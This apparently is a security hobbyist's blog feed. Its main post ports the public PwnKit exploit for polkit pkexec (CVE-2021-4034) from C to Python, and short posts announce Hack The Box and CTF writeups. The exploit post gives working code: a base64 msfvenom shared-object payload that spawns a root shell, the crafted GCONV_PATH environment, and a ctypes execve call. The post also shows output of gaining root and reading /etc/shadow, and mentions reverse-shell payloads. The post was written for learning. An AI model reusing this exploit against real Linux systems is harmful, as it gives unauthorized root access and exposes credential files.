Jekyll2022-01-26T15:24:24-06:00https://ammond.org/feed.xmljoe ammond (pugpug’s) stuffjoe ammond's musings, write ups, Hack The Box walkthroughs, CTF infoConverting a PoC for CVE-2021-4034 from C to Python2022-01-26T13:00:00-06:002022-01-26T13:00:00-06:00https://ammond.org/python/2022/01/26/CVE-2021-4034-in-Python<p>On 2022-01-25, <a href="https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034">Qualys dropped a 0-day local privilege escalation
vulnerability</a>
in polkit’s <code class="language-plaintext highlighter-rouge">pkexec</code> that allowed a local user to escalate to <code class="language-plaintext highlighter-rouge">root</code> easily.
<a href="https://twitter.com/bl4sty">blasty</a> posted <a href="https://haxx.in/files/blasty-vs-pkexec.c">PoC code</a>
that evening. For my own learning and as an interesting exercise, I ported it
to Python. The payload is generated with <code class="language-plaintext highlighter-rouge">msfvenom</code>, but the rest of the exploit
code is pure Python. Due to limitations in Python’s <code class="language-plaintext highlighter-rouge">os.execve()</code> function, we
do need to drop directly into the C library to call <code class="language-plaintext highlighter-rouge">pkexec</code>.</p>
<p>The code is available <a href="https://github.com/joeammond/CVE-2021-4034">on my GitHub</a></p>
<h2 id="pythons-osexecve-function">Python’s <code class="language-plaintext highlighter-rouge">os.execve()</code> function</h2>
<p>One key factor in the exploit working is in how the Linux <code class="language-plaintext highlighter-rouge">execve()</code> call handles
when passed <code class="language-plaintext highlighter-rouge">argv=NULL</code> or <code class="language-plaintext highlighter-rouge">envp=NULL</code>. From <a href="https://man7.org/linux/man-pages/man2/execve.2.html#NOTES">https://man7.org/linux/man-pages/man2/execve.2.html#NOTES</a>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>On Linux, argv and envp can be specified as NULL. In both cases,
this has the same effect as specifying the argument as a pointer
to a list containing a single null pointer. Do not take
advantage of this nonstandard and nonportable misfeature! On
many other UNIX systems, specifying argv as NULL will result in
an error (EFAULT). Some other UNIX systems treat the envp==NULL
case the same as Linux.
</code></pre></div></div>
<p>The <a href="https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt">Qualys writeup of the vulnerability</a>
details how calling <code class="language-plaintext highlighter-rouge">pkexec</code> with an argument list of <code class="language-plaintext highlighter-rouge">NULL</code> causes <code class="language-plaintext highlighter-rouge">pkexec</code> to
overwrite a portion of it’s environment, allowing an attacker to introduce
an potentially insecure environment variable back into the process. Unfortunately,
Python’s <code class="language-plaintext highlighter-rouge">os.execve()</code> function doesn’t allow a process to be executed with an argument
list of <code class="language-plaintext highlighter-rouge">NULL</code>:</p>
<div class="language-shell-session highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">p5550$</span><span class="w"> </span>python
<span class="go">Python 3.10.2 (main, Jan 24 2022, 20:21:50) [GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
</span><span class="gp">></span><span class="o">>></span> import os
<span class="gp">></span><span class="o">>></span> os.execve<span class="o">(</span><span class="s1">'/usr/bin/pkexec'</span>, None, os.environ<span class="o">)</span>
<span class="go">Traceback (most recent call last):
</span><span class="gp"> File "<stdin></span><span class="s2">", line 1, in <module>
</span><span class="go">TypeError: execve: argv must be a tuple or list
</span><span class="gp">></span><span class="o">>></span>
<span class="gp">></span><span class="o">>></span> os.execve<span class="o">(</span><span class="s1">'/usr/bin/pkexec'</span>, <span class="o">()</span>, os.environ<span class="o">)</span>
<span class="go">Traceback (most recent call last):
</span><span class="gp"> File "<stdin></span><span class="s2">", line 1, in <module>
</span><span class="go">ValueError: execve: argv must not be empty
</span><span class="gp">></span><span class="o">>></span>
</code></pre></div></div>
<p>Attempting to call <code class="language-plaintext highlighter-rouge">execve()</code> with either an empty tuple or <code class="language-plaintext highlighter-rouge">Null</code> cause exceptions.</p>
<h2 id="the-exploit-code">The exploit code</h2>
<p>To facilitate using different payloads with the script, I used <code class="language-plaintext highlighter-rouge">msfvenom</code> to
generate the shared library needed to perform the actual exploit. Using this path
allows an attacker to drop in different payloads depending on their needs at
the time. The default exploit calls <code class="language-plaintext highlighter-rouge">setuid(0)</code>, then spans <code class="language-plaintext highlighter-rouge">/bin/sh</code>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Payload, base64 encoded ELF shared object. Generate with:
#
# msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64
#
# The PrependSetuid=true is important, without it you'll just get
# a shell as the user and not root.
#
# Should work with any msfvenom payload, tested with linux/x64/exec
# and linux/x64/shell_reverse_tcp
</span>
<span class="n">payload_b64</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'''
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAAC
AEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArwEAAAAAAADMAQAAAAAAAAAQ
AAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAA
AAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAA
AAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAA
AACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAASDH/amlYDwVIuC9iaW4vc2gAmVBUX1JeajtYDwU=
'''</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">payload_b64</span><span class="p">)</span>
</code></pre></div></div>
<p>We also need the environment array to pass to <code class="language-plaintext highlighter-rouge">execve()</code>:
we start with a list of Python strings, then convert them into a C array of char*.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Set the environment for the call to execve()
</span><span class="n">environ</span> <span class="o">=</span> <span class="p">[</span>
<span class="sa">b</span><span class="s">'exploit'</span><span class="p">,</span>
<span class="sa">b</span><span class="s">'PATH=GCONV_PATH=.'</span><span class="p">,</span>
<span class="sa">b</span><span class="s">'LC_MESSAGES=en_US.UTF-8'</span><span class="p">,</span>
<span class="sa">b</span><span class="s">'XAUTHORITY=../LOL'</span><span class="p">,</span>
<span class="bp">None</span>
<span class="p">]</span>
<span class="c1"># Convert the environment to an array of char*
</span><span class="n">environ_p</span> <span class="o">=</span> <span class="p">(</span><span class="n">c_char_p</span> <span class="o">*</span> <span class="nb">len</span><span class="p">(</span><span class="n">environ</span><span class="p">))()</span>
<span class="n">environ_p</span><span class="p">[:]</span> <span class="o">=</span> <span class="n">environ</span>
</code></pre></div></div>
<p>To call <code class="language-plaintext highlighter-rouge">execve</code> directly, we open the C library using the <code class="language-plaintext highlighter-rouge">ctypes</code> <code class="language-plaintext highlighter-rouge">CDDL</code> function:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Find the C library to call execve() directly, as Python helpfully doesn't
# allow us to call execve() with no arguments.
</span><span class="k">try</span><span class="p">:</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">CDLL</span><span class="p">(</span><span class="n">find_library</span><span class="p">(</span><span class="s">'c'</span><span class="p">))</span>
<span class="k">except</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">'[!] Unable to find the C library, wtf?'</span><span class="p">)</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">()</span>
</code></pre></div></div>
<p>and call <code class="language-plaintext highlighter-rouge">execve</code> with a <code class="language-plaintext highlighter-rouge">NULL</code> argument list and the environment array we built earlier:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Call execve() with NULL arguments
</span><span class="n">libc</span><span class="p">.</span><span class="n">execve</span><span class="p">(</span><span class="sa">b</span><span class="s">'/usr/bin/pkexec'</span><span class="p">,</span> <span class="n">c_char_p</span><span class="p">(</span><span class="bp">None</span><span class="p">),</span> <span class="n">environ_p</span><span class="p">)</span>
</code></pre></div></div>
<p>And we get a root shell:</p>
<div class="language-shell-session highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">p5550$</span><span class="w"> </span>python CVE-2021-4034.py
<span class="go">[+] Creating shared library for exploit code.
[+] Calling execve()
</span><span class="gp">#</span><span class="w"> </span><span class="nb">id</span>
<span class="go">uid=0(root) gid=1000(jra) groups=1000(jra),4(adm),27(sudo),119(lpadmin),998(lxd)
</span><span class="gp">#</span><span class="w"> </span><span class="nb">whoami</span>
<span class="go">root
</span><span class="gp">#</span><span class="w"> </span><span class="nb">head</span> /etc/shadow
<span class="go">root:*:18709:0:99999:7:::
daemon:*:18709:0:99999:7:::
bin:*:18709:0:99999:7:::
sys:*:18709:0:99999:7:::
sync:*:18709:0:99999:7:::
games:*:18709:0:99999:7:::
man:*:18709:0:99999:7:::
lp:*:18709:0:99999:7:::
mail:*:18709:0:99999:7:::
news:*:18709:0:99999:7:::
</span><span class="gp">#</span><span class="w">
</span></code></pre></div></div>On 2022-01-25, Qualys dropped a 0-day local privilege escalation vulnerability in polkit’s pkexec that allowed a local user to escalate to root easily. blasty posted PoC code that evening. For my own learning and as an interesting exercise, I ported it to Python. The payload is generated with msfvenom, but the rest of the exploit code is pure Python. Due to limitations in Python’s os.execve() function, we do need to drop directly into the C library to call pkexec.Writeup for the Hack The Box machine ‘Forge’2022-01-23T11:00:00-06:002022-01-23T11:00:00-06:00https://ammond.org/writeup/hackthebox/2022/01/23/HTB-Forge-writeup<p>My writeup for the <a href="https://hackthebox.eu">HackTheBox</a> machine
<a href="https://app.hackthebox.com/machines/Forge">Forge</a> is up, read
it <a href="https://ammond.org/writeups/htb/machines/Forge">here</a>.</p>My writeup for the HackTheBox machine Forge is up, read it here.Writeup for ‘Objective 10’ of the 2021 SANS Holiday Hack Challenge2022-01-08T07:00:00-06:002022-01-08T07:00:00-06:00https://ammond.org/writeup/2022/01/08/SANS-HHC-2021<p>My writeup for ‘Objective 10’ is <a href="https://ammond.org/writeups/SANS/HHC-2021">published</a>. I took
a different route this year and didn’t cover every Objective, but instead
went in-depth on reverse-engineering the infrastructure behind one of the
Objectives. I wanted to see how much of a remote environment was discoverable
when all an attacker has is the ability to read local files, no command or
code execution. In this instance, I was able to re-create the environment
enough to replicate it in a local Docker container. It was an interesting
challenge, and one I’m sure I’ll be able to use in the future in other
engagements.</p>
<p>The <code class="language-plaintext highlighter-rouge">Dockerfile</code>, all necessary config files and scripts, and the exploit
script I used are on my <a href="https://github.com/joeammond/HHC-2021-docker-config">GitHub</a></p>My writeup for ‘Objective 10’ is published. I took a different route this year and didn’t cover every Objective, but instead went in-depth on reverse-engineering the infrastructure behind one of the Objectives. I wanted to see how much of a remote environment was discoverable when all an attacker has is the ability to read local files, no command or code execution. In this instance, I was able to re-create the environment enough to replicate it in a local Docker container. It was an interesting challenge, and one I’m sure I’ll be able to use in the future in other engagements.Writeup for CrowdStrike’s “Adversary Quest” CTF2021-01-29T11:00:00-06:002021-01-29T11:00:00-06:00https://ammond.org/writeup/2021/01/29/CrowdStrke-AdversaryQuest-CTF<p>I’ve published a <a href="/writeups/">writeup</a> of the <a href="https://www.crowdstrike.com">CrowdStrike</a>
<a href="https://adversary.zone">Adversary Quest</a> CTF. This CTF was a lot of fun, as well as
being frustrating (Portal, ug). It did expose a big hole in my skill set: binary exploitation.
I’ve got some videos to watch and courses/papers to read in the next few months.</p>
<p>Now it’s back to more <a href="https://hackthebox.eu">Hack The Box</a> machines, until the
<a href="https://www.tenable.com">Tenable</a> <a href="https://tenable.ctfd.io/">CTF</a> next month.</p>I’ve published a writeup of the CrowdStrike Adversary Quest CTF. This CTF was a lot of fun, as well as being frustrating (Portal, ug). It did expose a big hole in my skill set: binary exploitation. I’ve got some videos to watch and courses/papers to read in the next few months.Writeup for Hack The Box ‘Academy’2021-01-14T12:00:00-06:002021-01-14T12:00:00-06:00https://ammond.org/writeup/2021/01/14/HTB-writeup-Academy<p>I’ve published a <a href="/writeups/">writeup</a> of the <a href="https://hackthebox.eu">Hack The Box</a> machine
<a href="/writeups/htb/machines/Academy/">Academy</a>. The content is encrypted with the <code class="language-plaintext highlighter-rouge">password</code> field from
<code class="language-plaintext highlighter-rouge">/etc/shadow</code> for <code class="language-plaintext highlighter-rouge">root</code> from the box. I’ll unencrypt it when the machine is retired.</p>I’ve published a writeup of the Hack The Box machine Academy. The content is encrypted with the password field from /etc/shadow for root from the box. I’ll unencrypt it when the machine is retired.relaunch of ammond.org2021-01-11T14:38:46-06:002021-01-11T14:38:46-06:00https://ammond.org/site/2021/01/11/relaunch<p>I’ve relaunched ammond.org, to host my <a href="/writeups/">writeups</a> of various CTFs and Hack The Box
activities, as well as some personal things. This is quick page just to get the content online,
I’ll be working on making it prettier later.</p>I’ve relaunched ammond.org, to host my writeups of various CTFs and Hack The Box activities, as well as some personal things. This is quick page just to get the content online, I’ll be working on making it prettier later.